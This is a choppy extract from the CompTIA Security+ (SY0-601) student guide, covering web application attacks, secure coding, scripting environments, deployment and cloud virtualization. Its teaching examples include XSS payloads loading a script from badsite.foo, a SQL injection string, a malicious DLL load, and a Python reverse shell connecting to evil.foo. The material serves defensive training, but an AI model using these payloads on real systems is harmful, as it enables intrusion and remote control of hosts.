LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 377
2. The attacker crafts a URL to perform a code injection against the trusted site. This
could be coded in a link from the attacker's site to the trusted site or a link in an
email message.
3. When the user clicks the link, the trusted site returns a page containing the
malicious code injected by the attacker. As the browser is likely to be configured
to allow the site to run scripts, the malicious code will execute.
The malicious code could be used to deface the trusted site (by adding any sort of
arbitrary HTML code), steal data from the user's cookies, try to intercept information
entered into a form, perform a request forgery attack, or try to install malware. The
crucial point is that the malicious code runs in the client's browser with the same
permission level as the trusted site.
An attack where the malicious input comes from a crafted link is a reflected or
nonpersistent XSS attack. A stored/persistent XSS attack aims to insert code into a
back-end database or content management system used by the trusted site. For
example, the attacker may submit a post to a bulletin board with a malicious script
embedded in the message. When other users view the message, the malicious script
is executed. For example, with no input sanitization, a threat actor could type the
following into a new post text field:
Check out this amazing <a href="https://trusted.
foo">website</a><script src="https://badsite.foo/
hook.js"></script>.
Users viewing the post will have the malicious script hook.js execute in their browser.
A third type of XSS attack exploits vulnerabilities in client-side scripts. Such scripts often
use the Document Object Model (DOM) to modify the content and layout of a web
page. For example, the "document.write" method enables a page to take some user
input and modify the page accordingly. An exploit against a client-side script could
work as follows:
1. The attacker identifies an input validation vulnerability in the trusted site. For
example, a message board might take the user's name from an input text box
and show it in a header.
https://trusted.foo/messages?user=james
2. The attacker crafts a URL to modify the parameters of a script that the server will
return, such as:
https://trusted.foo/messages#user=James%3Cscript%20
src%3D%22https%3A%2F%2Fbadsite.foo%2Fhook.
js%22%3E%3C%2Fscript%3E
3. The server returns a page with the legitimate DOM script embedded, but
containing the parameter:
James<script src="https://badsite.foo/hook.js">
</script>
4. The browser renders the page using the DOM script, adding the text "James" to
the header, but also executing the hook.js script at the same time.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
378 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
authorized by the application design. Most server-side attacks depend on some kind of
injection attack.
Where an overflow attack works against the way a process performs memory
management, an injection attack exploits some unsecure way in which the application
processes requests and queries. For example, an application might allow a user to view
his or her profile with a database query that should return the single record for that
one user's profile. An application vulnerable to an injection attack might allow a threat
actor to return the records for all users, or to change fields in the record when they are
only supposed to be able to read them.
A web application is likely to use Structured Query Language (SQL) to read and write
information from a database. The main database operations are performed by SQL
statements for selecting data (SELECT), inserting data (INSERT), deleting data (DELETE),
and updating data (UPDATE). In a SQL injection attack, the threat actor modifies
one or more of these four basic functions by adding code to some input accepted by
the app, causing it to execute the attacker's own set of SQL queries or parameters.
If successful, this could allow the attacker to extract or insert information into the
database or execute arbitrary code on the remote system using the same privileges as
the database application (owasp.org/www-community/attacks/SQL_Injection).
For example, consider a web form that is supposed to take a name as input. If the user
enters "Bob", the application runs the following query:
SELECT * FROM tbl_user WHERE username = 'Bob'
If a threat actor enters the string ' or 1=1-- and this input is not sanitized, the following
malicious query will be executed:
SELECT * FROM tbl_user WHERE username = '' or 1=1--#
The logical statement 1=1 is always true, and the --# string turns the rest of the
statement into a comment, making it more likely that the web application will parse
this modified version and dump a list of all users.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 379
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
380 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 381
SSRF encompasses a very wide range of potential exploits and targets, some of
which include:
• Reconnaissance—a response may contain metadata describing the type and
configuration of internal servers. SSRF can also be used to port scan within the
internal network.
• Credential stealing—a response may contain an API key that the internal servers use
between themselves.
• Protocol smuggling—despite initially being carried over HTTP, the SSRF might target
an internal SMTP or FTP server. That server may be configured in a "best effort"
way, strip the HTTP header, and do its best to return the response to the SMTP or
FTP request.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
382 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Review Activity:
Indicators of Web Application Attacks
Answer the following questions:
1. You are reviewing access logs on a web server and notice repeated requests
for URLs containing the strings %3C and %3E. Is this an event that should be
investigated further, and why?
2. You have been asked to monitor baseline API usage so that a rate limiter
value can be set. What is the purpose of this?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 383
Topic 14C
Summarize Secure Coding Practices
While you may not be taking on direct development duties on major projects, you will
often be called upon to make updates to scripts, or make a quick judgment whether a
script could be vulnerable and should be evaluated more closely for weaknesses. Being
able to summarize secure coding practices will help you to work effectively as part of a
DevSecOps team.
Input Validation
A primary vector for attacking applications is to exploit faulty input validation. Input
could include user data entered into a form or URL passed by another application as
a URL or HTTP header. Malicious input could be crafted to perform an overflow attack
or some type of script or SQL injection attack. To mitigate this risk, all input methods
should be documented with a view to reducing the potential attack surface exposed by
the application. There must be routines to check user input, and anything that does not
conform to what is required must be rejected.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
384 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Secure Cookies
Cookies can be a vector for session hijacking and data exposure if not configured
correctly (developer.mozilla.org/en-US/docs/Web/HTTP/Cookies). Some of the key
parameters for the SetCookie header are:
• Avoid using persistent cookies for session authentication. Always use a new cookie
when the user reauthenticates.
• Set the Secure attribute to prevent a cookie being sent over unencrypted HTTP.
• Set the HttpOnly attribute to make the cookie inaccessible to document object
model/client-side scripting.
• Use the SameSite attribute to control from where a cookie may be sent, mitigating
request forgery attacks.
Response Headers
A number of security options can be set in the response header returned by the
server to the client (owasp.org/www-project-secure-headers). While it should seem
like a straightforward case of enabling all these, developers are often constrained by
compatibility and implementation considerations between different client browser
and server software types and versions. Some of the most important security-relevant
header options are:
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 385
• HTTP Strict Transport Security (HSTS)—forces browser to connect using HTTPS only,
mitigating downgrade attacks, such as SSL stripping.
Error Handling
A well-written application must be able to handle errors and exceptions gracefully.
This means that the application performs in a controlled way when something
unpredictable happens. An error or exception could be caused by invalid user input, a
loss of network connectivity, another server or process failing, and so on. Ideally, the
programmer will have written a structured exception handler (SEH) to dictate what
the application should then do. Each procedure can have multiple exception handlers.
Some handlers will deal with anticipated errors and exceptions; there should also be
a catchall handler that will deal with the unexpected. The main goal must be for the
application not to fail in a way that allows the attacker to execute code or perform
some sort of injection attack. One infamous example of a poorly written exception
handler is the Apple GoTo bug (nakedsecurity.sophos.com/2014/02/24/anatomy-of-a-
goto-fail-apples-ssl-bug-explained-plus-an-unofficial-patch).
Another issue is that an application's interpreter may default to a standard handler
and display default error messages when something goes wrong. These may reveal
platform information and the inner workings of code to an attacker. It is better for an
application to use custom error handlers so that the developer can choose the amount
of information shown when an error is caused.
Technically, an error is a condition that the process cannot recover from, such as the system
running out of memory. An exception is a type of error that can be handled by a block of
code without the process crashing. Note that exceptions are still described as generating
error codes/messages, however.
Memory Management
Many arbitrary code attacks depend on the target application having faulty memory
management procedures. This allows the attacker to execute his or her own code in
the space marked out by the target application. There are known unsecure practices
for memory management that should be avoided and checks for processing untrusted
input, such as strings, to ensure that it cannot overwrite areas of memory.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
386 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Obfuscation/Camouflage
It is important that code be well-documented, to assist the efforts of multiple
programmers working on the same project. Well-documented code is also easier to
analyze, however, which may assist the development of attacks. Code can be made
difficult to analyze by using an obfuscator, which is software that randomizes the
names of variables, constants, functions, and procedures, removes comments and
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 387
white space, and performs other operations to make the compiled code physically
and mentally difficult to read and follow. This sort of technique might be used to
make reverse engineering an application more difficult and as a way of disguising
malware code.
• File format—attempt to open files whose format has been manipulated, perhaps
manipulating specific features of the file.
Fuzzers are also distinguished by the way in which they craft each input (or test
case). The fuzzer may use semi-random input (dumb fuzzer) or might craft specific
input based around known exploit vectors, such as escaped command sequences or
character literals, or by mutating intercepted inputs.
Associated with fuzzing is the concept of stress testing an application to see how an
application performs under extreme performance or usage scenarios.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
388 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Finally, the fuzzer needs some means of detecting an application crash and recording
which input sequence generated the crash.
Loading a list of strings for the payload of a fuzzing test in Burp Suite.
(Screenshot Burp Suite portswigger.net/burp.)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 389
Review Activity:
Secure Coding Practices
Answer the following questions:
3. You are discussing execution and validation security for DOM scripting with
the web team. A junior team member wants to know if this relates to client-
side or server-side code. What is your response?
7. What type of dynamic testing tool would you use to check input validation
on a web form?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
390 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 14D
Implement Secure Script Environments
As a security technician, you will often have to develop automation scripts, using a
range of programming and scripting languages. Scripts can be used to return critical
security assessment data and to configure hosts, so it is important that only validated
code can be executed. You should also be able to identify malicious code in scripts
and macros.
Scripting
Automation using scripting means that each configuration or build task is performed
by a block of code. The script will take standard arguments as data, so there is less
scope for uncertainty over configuration choices leading to errors. A script will use the
following elements:
• Parameters that the script takes as input data (passed to the script as arguments).
• Branching and looping statements that can alter the flow of execution based on
logic conditions.
• Validation and error handlers to check inputs and ensure robust execution.
• Unit tests to ensure that the script returns the expected outputs, given the
expected inputs.
All coding languages have a specific syntax that constrains the way sections of code are
laid out in blocks and the standard statements that are available, such as branching
and looping constructions.
Python Script Environment
Python is a popular language for implementing all kinds of development projects,
including automation tools and security tools, as well as malicious scripts (python.org).
Where many languages use brackets to denote blocks of code, Python uses indentation
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 391
(4 spaces per level, by convention). Any statement that starts a block is delimited by
a colon. Python is case-sensitive; for example, the variable user cannot be referred
to by the label User or USER. Comment lines are marked by the # character. You can
view inline help on modules, functions, and keywords using the help statement. For
example, the following command shows help for the print function: help(print)
Variables
Python uses the = operator to assign a name to a variable. Names are not declared
with a data type, such as string or integer, but Python is strongly typed, meaning that
you cannot multiply an integer variable by a string variable, for instance. String literals
can be delimited using single or double quotes.
Functions
Functions are used to produce modular, reusable code. A function takes some
arguments as parameters, performs some processing, and typically returns some
output. When creating a script, you will use some functions from Python's modules and
define your own functions. A function is defined using the following indentation syntax:
def fullname(name,surname):
return name + " " + surname
#This ends the function definition
#The next line calls the function to set a variable
greeting = 'Hello ' + fullname('World', '')
print(greeting)
Operator Operation
== Is equal to
!= Is not equal to
< Is less than
> Is greater than
<= Is less than or equal to
>= Is greater than or equal to
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
392 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Modules
A Python module is a library of functions for accomplishing standard tasks, such
as opening a network socket or interacting with an operating system's API. One of
the perceived strengths of Python is the huge number of modules. For example,
the os module contains functions to interact with the operating system, while the
socket module handles network connections and the url module opens and parses
resource addresses. Various extension modules allow a Python script to interact with
Windows APIs.
The presence of two malicious libraries within a Python repository illustrates the potential
risks of third-party code (https://www.zdnet.com/article/two-malicious-python-libraries-
removed-from-pypi/).
Execution
Python is an interpreted language, executed within the context of a binary Python
process. In Windows, a Python script (.py) can be called via python.exe (with a
command window) or pythonw.exe (with no command window). A Python script can
also be compiled to a standalone Windows executable using the py2exe extension. This
executable can be digitally signed.
PowerShell Script Environment
PowerShell is the preferred method of performing Windows administration tasks (docs.
microsoft.com/en-us/powershell/scripting/overview?view=powershell-7). It has also
become the Windows hacker's go-to toolkit. PowerShell statements can be executed at a
PowerShell prompt, or run as a script (.ps1) on any PowerShell-enabled host.
The Get-Help cmdlet shows help on different elements of the PowerShell environment.
PowerShell is case-insensitive.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 393
Modules
PowerShell can also be used with a large number of modules, which are added to a
script using the Import-Module cmdlet.
Execution Control
Execution control is the process of determining what additional software or scripts
may be installed or run on a host beyond its baseline.
• Block list is a permissive policy that only prevents execution of listed processes
and scripts. It is vulnerable to software that has not previously been identified as
malicious (or capable of or vulnerable to malicious use).
These concepts can also be referred to as whitelists and blacklists, but most sources now
deprecate this type of non-inclusive terminology.
Code Signing
Code signing is the principal means of proving the authenticity and integrity of code
(an executable or a script). The developer creates a cryptographic hash of the file then
signs the hash using his or her private key. The program is shipped with a copy of the
developer's code signing certificate, which contains a public key that the destination
computer uses to read and verify the signature. The OS then prompts the user to
choose whether to accept the signature and run the program.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
394 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
In Windows, execution of PowerShell scripts can be inhibited by the execution policy. Note
that the execution policy is not an access control mechanism. It can be bypassed in any
number of different ways. WDAC is a robust mechanism for restricting use of potentially
dangerous code, such as malicious PowerShell.
• Credential dumping—the malware might try to access the credentials file (SAM on
a local Windows workstation) or sniff credentials held in memory by the lsass.exe
system process (attack.mitre.org/tactics/TA0006).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 395
• Using system calls to the Windows API might indicate an attempt to inject a DLL
or perform process hollowing, where the malicious code takes over a legitimate
process:
[Kernel32]::LoadLibrary("C:\Users\Foo\AppData\Local\
Temp\doevil.dll")
• Using another type of script to execute the PowerShell is also suspicious. For
example, the attacker might use JavaScript code embedded in a PDF to launch
PowerShell via a vulnerable reader app.
The big problem with PowerShell indicators is distinguishing them from legitimate
behavior. The following techniques can be used to assist with this:
• Use group policy to restrict execution of PowerShell to trusted accounts and hosts.
• Use group policy execution control to run scripts only from trusted locations.
• Prevent the use of old PowerShell versions to mitigate the use of a downgrade
attack to bypass access controls.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
396 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
A very common vector for attacking Linux hosts is to use an exploit to install a web
shell as a backdoor (acunetix.com/blog/articles/introduction-web-shells-part-1). Typical
code to implement a reverse shell (connecting out to the machine at evil.foo on port
4444) is as follows:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("evil.foo",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/sh")'
The os.dup2 statements redirect the terminal's data streams stdin (0), stdout (1),
and stderr (2) to the socket object (s). The pty module provides a library of functions
for managing a pseudo-terminal, in this case starting the shell process at /bin/sh.
The code to implement a shell can be obfuscated in numerous ways. One way to
identify malicious scripts trying to match code samples is to scan the file system against
a configuration baseline, either using file integrity monitoring or use of the Linux diff
command.
A common exploit for a vulnerable web server is to upload a cryptominer, misusing
the server's CPU resources to try to obtain new cryptocurrency. You can use Linux
utilities such as top and free to diagnose excessive CPU and memory resource
consumption by such malware.
This F5 white paper describes the use of Bash and Python attack tools (f5.com/labs/articles/
threat-intelligence/attackers-use-new--sophisticated-ways-to-install-cryptominers).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 397
macro steps using the GUI, ultimately macros are coded in a scripting language.
Microsoft Office uses the Visual Basic for Applications (VBA) language, while PDF
documents use JavaScript. Microsoft Office document macros can be inspected
using ALT+F11. Other vendors and open-source software also implement macro
functionality, using languages such as Basic or Python.
A malicious actor will try to use a macro-enabled document to execute arbitrary
code. For example, a Word document could be the vector for executing a malicious
PowerShell script. Macros are disabled by default in Office, but the attacker may be
able to use a social engineering attack to get the user to change the policy.
With PDF, the JavaScript might be embedded within the document and designed to
exploit a known vulnerability in the reader software to execute without authorization
(sentinelone.com/blog/malicious-pdfs-revealing-techniques-behind-attacks).
Man-in-the-Browser Attack
A man-in-the-browser (MitB) attack is a specific type of on-path attack where the web
browser is compromised. Depending on the level of privilege obtained, the attacker
may be able to inspect session cookies, certificates, and data, change browser settings,
perform redirection, and inject code.
A MitB attack may be accomplished by installing malicious plug-ins or scripts or
intercepting calls between the browser process and DLLs (attack.mitre.org/techniques/
T1185). The Browser Exploitation Framework (BeEF) (beefproject.com) is one well
known MitB tool. There are various vulnerability exploit kits that can be installed to a
website to actively try to exploit vulnerabilities in clients browsing the site (trendmicro.
com/vinfo/ie/security/definition/exploit-kit). These kits may either be installed to a
legitimate site without the owner's knowledge (by compromising access control on
the web server) and load in an iFrame (invisible to the user), or the attacker may use
phishing/social engineering techniques to trick users into visiting the site.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
398 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Review Activity:
Secure Script Environments
Answer the following questions:
1. You have been asked to investigate a web server for possible intrusion. You
identify a script with the following code. What language is the code in and
does it seem likely to be malicious?
2. Which tools can you use to restrict the use of PowerShell on Windows
10 clients?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 399
Topic 14E
Summarize Deployment and
Automation Concepts
• Elasticity refers to the system's ability to handle changes on demand in real time.
A system with high elasticity will not experience loss of service or performance if
demand suddenly doubles (or triples, or quadruples). Conversely, it may be important
for the system to be able to reduce costs when demand is low. Elasticity is a common
selling point for cloud services. Instead of running a cloud resource for 24 hours a day,
7 days a week, that resource can diminish in power or shut down completely when
demand for that resource is low. When demand picks up again, the resource will grow
in power to the level required. This results in cost-effective operations.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
400 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
SDLCs: the waterfall model and Agile development. Both these models stress
the importance of requirements analysis and quality processes to the success of
development projects.
Development Environments
To meet the demands of the life cycle model and quality assurance, code is normally
passed through several different environments:
• Development—the code will be hosted on a secure server. Each developer will check
out a portion of code for editing on his or her local machine. The local machine will
normally be configured with a sandbox for local testing. This ensures that whatever
other processes are being run locally do not interfere with or compromise the
application being developed.
• Test/integration—in this environment, code from multiple developers is merged
to a single master copy and subjected to basic unit and functional tests (either
automated or by human testers). These tests aim to ensure that the code builds
correctly and fulfills the functions required by the design.
• Staging—this is a mirror of the production environment but may use test or sample
data and will have additional access controls so that it is only accessible to test
users. Testing at this stage will focus more on usability and performance.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 401
Provisioning
Provisioning is the process of deploying an application to the target environment,
such as enterprise desktops, mobile devices, or cloud infrastructure. An enterprise
provisioning manager might assemble multiple applications in a package. Alternatively,
the OS and applications might be defined as a single instance for deployment on a
virtualized platform. The provisioning process must account for changes to any of
these applications so that packages or instances are updated with the latest version.
Deprovisioning
Deprovisioning is the process of removing an application from packages or instances.
This might be necessary if software has to be completely rewritten or no longer
satisfies its purpose. As well as removing the application itself, it is also important to
make appropriate environment changes to remove any configurations (such as open
firewall ports) that were made just to support that application.
Version Control
Version control is an ID system for each iteration of a software product. Most version
control numbers represent both the version, as made known to the customer or end
user, and internal build numbers for use in the development process. Version control
supports the change management process for software development projects. Most
software development environments use a build server to maintain a repository of
previous versions of the source code. When a developer commits new or changed
code to the repository, the new source code is tagged with an updated version number
and the old version archived. This allows changes to be rolled back if a problem is
discovered.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
402 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
in smaller blocks or units. In this model, development and provisioning tasks are
conceived as continuous.
Continuous Integration
Continuous integration (CI) is the principle that developers should commit and test
updates often—every day or sometimes even more frequently. This is designed to
reduce the chances of two developers spending time on code changes that are later
found to conflict with one another. CI aims to detect and resolve these conflicts early,
as it is easier to diagnose one or two conflicts or build errors than it is to diagnose the
causes of tens of them. For effective CI, it is important to use an automated test suite
to validate each build quickly.
Continuous Delivery
Where CI is about managing code in development, continuous delivery is about
testing all of the infrastructure that supports the app, including networking, database
functionality, client software, and so on.
Continuous Deployment
Where continuous delivery tests that an app version and its supporting infrastructure
are ready for production, continuous deployment is the separate process of actually
making changes to the production environment to support the new app version.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 403
ensure that they are recovery ready. You can also automate the courses of action that
a monitoring system takes, like configuring an IPS to automatically block traffic that
it deems suspicious. This sort of capability is provided by security orchestration and
response (SOAR) management software.
Continuous Validation
An application model is a statement of the requirements driving the software
development project. The requirements model is tested using processes of verification
and validation (V&V):
• Verification is a compliance testing process to ensure that the product or system
meets its design goals.
With the continuous paradigm, feedback from delivery and deployment must be
monitored and evaluated to ensure that the design goals continue to meet user and
security requirements. The monitoring and validation processes must also ensure that
there is no drift from the secure configuration baseline.
Software Diversity
An application's runtime environment will use one of two approaches for execution on
a host system:
• Compiled code is converted to binary machine language that can run independently
on the target OS.
Software diversity can refer to obfuscation techniques to make code difficult to detect
as malicious. This is widely used by threat actors in the form of shellcode compilers
to avoid signature detection, such as the venerable Shikata Ga Nai (fireeye.com/blog/
threat-research/2019/10/shikata-ga-nai-encoder-still-going-strong.html). This can
be used as a defensive technique. Obfuscating API methods and automation code
makes it harder for a threat actor to reverse engineer and analyze the code to discover
weaknesses.
There is also general research interest in security by diversity. This works on the
principle that attacks are harder to develop against non-standard environments. A
monoculture environment, such as a Windows domain network, presents a fairly
predictable attack surface with plenty of commodity malware tools available to exploit
misconfigurations. Using a wide range of development tools and OS/application
vendors and versions can make attack strategies harder to research. As with security
by obscurity, this will not defeat a targeted attack, but it can partially mitigate risks
from less motivated threat actors, who will simply move to the next, easier target.
On the other hand, this sort of complexity will tend to lead to greater incidence of
configuration errors as technicians and developers struggle to master unfamiliar
technologies.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
404 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Review Activity:
Deployment and Automation Concepts
Answer the following questions:
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 405
Lesson 14
Summary
You should be able to identify and classify application attacks and summarize
development and coding best practices.
• Injection attacks (XSS, SQL, XML, LDAP, shellcode) that exploit lack of input
validation.
• Replay and request forgery attacks that exploit lack of secure authentication and
authorization mechanisms.
• Review and test code using static and dynamic analysis, paying particular attention
to input validation, output encoding, error handling, and data exposure.
• Document use of approved coding languages and launch locations, ideally with code
signing, to make malicious code easier to detect.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Lesson 15
Implementing Secure Cloud Solutions
LESSON INTRODUCTION
The main idea behind cloud computing is that you can access and manage your data
and applications from any host, anywhere in the world, while the storage method and
location are hidden or abstracted through virtualization. Cloud applications—whether
accessed as public services or provisioned over private virtualization infrastructure—
are rapidly overtaking on-premises service delivery models. Security in and of the cloud
considerations will form an increasingly important part of your career as a security
professional.
Lesson Objectives
In this lesson, you will:
• Summarize secure cloud and virtualization services.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
408 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 15A
Summarize Secure Cloud and
Virtualization Services
This type of cloud could be on-premise or offsite relative to the other business
units. An onsite link can obviously deliver better performance and is less likely to
be subject to outages (loss of an Internet link, for instance). On the other hand, a
dedicated offsite facility may provide better shared access for multiple users in
different locations.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 409
There will also be cloud computing solutions that implement some sort of hybrid
public/private/community/hosted/onsite/offsite solution. For example, a travel
organization may run a sales website for most of the year using a private cloud
but break out the solution to a public cloud at times when much higher utilization
is forecast.
Flexibility is a key advantage of cloud computing, but the implications for data risk
must be well understood when moving data between private and public storage
environments.
Infrastructure as a Service
Infrastructure as a service (IaaS) is a means of provisioning IT resources such as
servers, load balancers, and storage area network (SAN) components quickly. Rather
than purchase these components and the Internet links they require, you rent them on
an as-needed basis from the service provider's data center. Examples include Amazon
Elastic Compute Cloud (aws.amazon.com/ec2), Microsoft Azure Virtual Machines
(azure.microsoft.com/services/virtual-machines), Oracle Cloud (oracle.com/cloud), and
OpenStack (openstack.org).
Software as a Service
Software as a service (SaaS) is a different model of provisioning software
applications. Rather than purchasing software licenses for a given number of seats,
a business would access software hosted on a supplier's servers on a pay-as-you-
go or lease arrangement (on-demand). Virtual infrastructure allows developers to
provision on-demand applications much more quickly than previously. The applications
can be developed and tested in the cloud without the need to test and deploy on
client computers. Examples include Microsoft Office 365 (microsoft.com/en-us/
microsoft-365/enterprise), Salesforce (salesforce.com), and Google G Suite (gsuite.
google.com).
Platform as a Service
Platform as a service (PaaS) provides resources somewhere between SaaS and IaaS.
A typical PaaS solution would provide servers and storage network infrastructure
(as per IaaS) but also provide a multi-tier web application/database platform on top.
This platform could be based on Oracle or MS SQL or PHP and MySQL. Examples
include Oracle Database (oracle.com/database), Microsoft Azure SQL Database (azure.
microsoft.com/services/sql-database), and Google App Engine (cloud.google.com/
appengine).
As distinct from SaaS though, this platform would not be configured to actually
do anything. Your own developers would have to create the software (the CRM or
e‑commerce application) that runs using the platform. The service provider would
be responsible for the integrity and availability of the platform components, but you
would be responsible for the security of the application you created on the platform.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
410 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Dashboard for Amazon Web Services Elastic Compute Cloud (EC2) IaaS/PaaS.
(Screenshot used with permission from Amazon.com.)
Anything as a Service
There are many other examples of XaaS, reflecting the idea that anything can be
provisioned as a cloud service. For example, database as a service and network as a
service can be distinguished as more specific types of platform as a service. The key
security consideration with all these models is identifying where responsibilities lie.
This is often referred to as security in the cloud versus security of the cloud. Security
in the cloud is the things you must take responsibility for; security of the cloud is the
things the CSP manages. These responsibilities vary according to the service type:
Note that this matrix identifies generic responsibilities only. Specific terms must be set out in
a contract and service level agreement (SLA) with the CSP.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 411
Security as a Service
The breadth of technologies requiring specialist security knowledge and configuration
makes it likely that companies will need to depend on third-party support at some
point. You can classify such support in three general "tiers":
• Consultants—the experience and perspective of a third-party professional can
be hugely useful in improving security awareness and capabilities in any type of
organization (small to large). Consultants could be used for "big picture" framework
analysis and alignment or for more specific or product-focused projects (pen
testing, SIEM rollout, and so on). It is also fairly simple to control costs when using
consultants if they are used to develop capabilities rather than implement them.
Where consultants come to "own" the security function, it can be difficult to change
or sever the relationship.
One basic distinction that can be made between virtual platforms is between host
and bare metal methods of interacting with the host hardware. In a guest OS (or
host-based) system, the hypervisor application (known as a Type II hypervisor) is itself
installed onto a host operating system. Examples of host-based hypervisors include
VMware Workstation, Oracle Virtual Box, and Parallels Workstation. The hypervisor
software must support the host OS.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
412 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
A bare metal virtual platform means that the hypervisor (Type I hypervisor) is installed
directly onto the computer and manages access to the host hardware without going
through a host OS. Examples include VMware ESXi Server, Microsoft's Hyper-V, and
Citrix's XEN Server. The hardware needs only support the base system requirements
for the hypervisor plus resources for the type and number of guest OSes that will
be installed.
Type I "bare metal" hypervisor—The hypervisor is installed directly on the host hardware along with
a management application, then VMs are installed within the hypervisor.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 413
(Microsoft Remote Desktop or Citrix ICA, for instance). The thin client has to find the
correct image and use an appropriate authentication mechanism. There may be a 1:1
mapping based on machine name or IP address or the process of finding an image may
be handled by a connection broker.
All application processing and data storage in the virtual desktop environment
(VDE) or workspace is performed by the server. The thin client computer must only
be powerful enough to display the screen image, play audio, and transfer mouse, key
commands and video, and audio information over the network. All data is stored on
the server, so it is easier to back up and the desktop VMs are easier to support and
troubleshoot. They are better "locked" against unsecure user practices because any
changes to the VM can easily be overwritten from the template image. With VDI, it is
also easier for a company to completely offload their IT infrastructure to a third-party
services company.
The main disadvantage is that in the event of a failure in the server and network
infrastructure, users have no local processing ability, so downtime events may be more
costly in terms of lost productivity.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
414 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
VM Escape Protection
VM escaping refers to malware running on a guest OS jumping to another guest
or to the host. To do this, the malware must identify that it is running in a virtual
environment, which is usually simple to do. One means of doing so is through a timing
attack. The classic timing attack is to send multiple usernames to an authentication
server and measure the server response times. An invalid username will usually
be rejected very quickly, but a valid one will take longer (while the authentication
server checks the password). This allows the attacker to harvest valid usernames.
Malware can use a timing attack within a guest OS to detect whether it is running in
